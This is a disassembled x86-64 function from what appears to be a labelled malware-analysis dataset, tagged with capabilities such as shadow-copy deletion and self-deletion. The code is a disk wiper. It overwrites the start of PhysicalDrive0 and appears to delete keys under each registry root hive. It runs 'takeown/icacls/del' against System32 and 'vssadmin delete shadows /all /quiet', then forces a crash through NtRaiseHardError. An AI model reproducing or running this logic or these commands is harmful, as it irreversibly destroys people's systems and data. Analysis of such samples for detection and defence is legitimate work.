Function at 0x1400015e0
Capabilities:
Delete volume shadow copies
Execute command
Self delete
Write and execute a file
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x80
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp - 0x10], rax
call qword [sym.imp.KERNEL32.dll_FreeConsole]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov edx, 0x10000000
mov r8d, 3
lea rcx, str..PhysicalDrive0
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
mov qword [rsp + 0x20], 0
lea r9, [rbp - 0x1c]
mov r8d, 0x8000
lea rdx, [0x1400034a0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
xorps xmm0, xmm0
movups xmmword [rbp - 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x30], xmm1
xor r8d, r8d
lea rdx, [0x1400033f0]
lea rcx, [rbp - 0x40]
call fcn.140001a20
nop
lea r8, [rbp - 0x40]
mov rdx, 0xffffffff80000001
lea rcx, [rbp - 0x20]
call fcn.1400011c0
nop
mov rdx, qword [rbp - 0x28]
cmp rdx, 7
jbe 0x1400016ed
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400016e8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400016e8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140001bbc
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
xorps xmm0, xmm0
movups xmmword [rbp - 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x30], xmm1
xor r8d, r8d
lea rdx, [0x1400033f0]
lea rcx, [rbp - 0x40]
call fcn.140001a20
nop
lea r8, [rbp - 0x40]
mov rdx, 0xffffffff80000002
lea rcx, [rbp - 0x20]
call fcn.1400011c0
nop
mov rdx, qword [rbp - 0x28]
cmp rdx, 7
jbe 0x140001773
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000176e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000176e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140001bbc
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
xorps xmm0, xmm0
movups xmmword [rbp - 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x30], xmm1
xor r8d, r8d
lea rdx, [0x1400033f0]
lea rcx, [rbp - 0x40]
call fcn.140001a20
nop
lea r8, [rbp - 0x40]
mov rdx, 0xffffffff80000000
lea rcx, [rbp - 0x20]
call fcn.1400011c0
nop
mov rdx, qword [rbp - 0x28]
cmp rdx, 7
jbe 0x1400017f9
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400017f4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400017f4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140001bbc
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
xorps xmm0, xmm0
movups xmmword [rbp - 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x30], xmm1
xor r8d, r8d
lea rdx, [0x1400033f0]
lea rcx, [rbp - 0x40]
call fcn.140001a20
nop
lea r8, [rbp - 0x40]
mov rdx, 0xffffffff80000003
lea rcx, [rbp - 0x20]
call fcn.1400011c0
nop
mov rdx, qword [rbp - 0x28]
cmp rdx, 7
jbe 0x14000187f
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000187a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000187a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140001bbc
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
xorps xmm0, xmm0
movups xmmword [rbp - 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x30], xmm1
xor r8d, r8d
lea rdx, [0x1400033f0]
lea rcx, [rbp - 0x40]
call fcn.140001a20
nop
lea r8, [rbp - 0x40]
mov rdx, 0xffffffff80000005
lea rcx, [rbp - 0x20]
call fcn.1400011c0
nop
mov rdx, qword [rbp - 0x28]
cmp rdx, 7
jbe 0x140001905
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001900
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001900
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140001bbc
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.takeown__f_C:WindowsSystem32.__icacls_C:WindowsSystem32.__grant__username_:F__del__s__q_C:WindowsSystem32.
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.vssadmin_delete_shadows__all__quiet
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea r9, [rbp - 0x1f]
xor r8d, r8d
mov dl, 1
mov ecx, 0x13
call qword [sym.imp.ntdll.dll_RtlAdjustPrivilege]
lea rax, [rbp - 0x18]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 6
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, 0x6666666
call qword [sym.imp.ntdll.dll_NtRaiseHardError]
mov ecx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_Sleep]
xor eax, eax
mov rcx, qword [rbp - 0x10]
xor rcx, rsp
call fcn.140001b60
mov rbx, qword [rsp + 0x90]
add rsp, 0x80
pop rbp
ret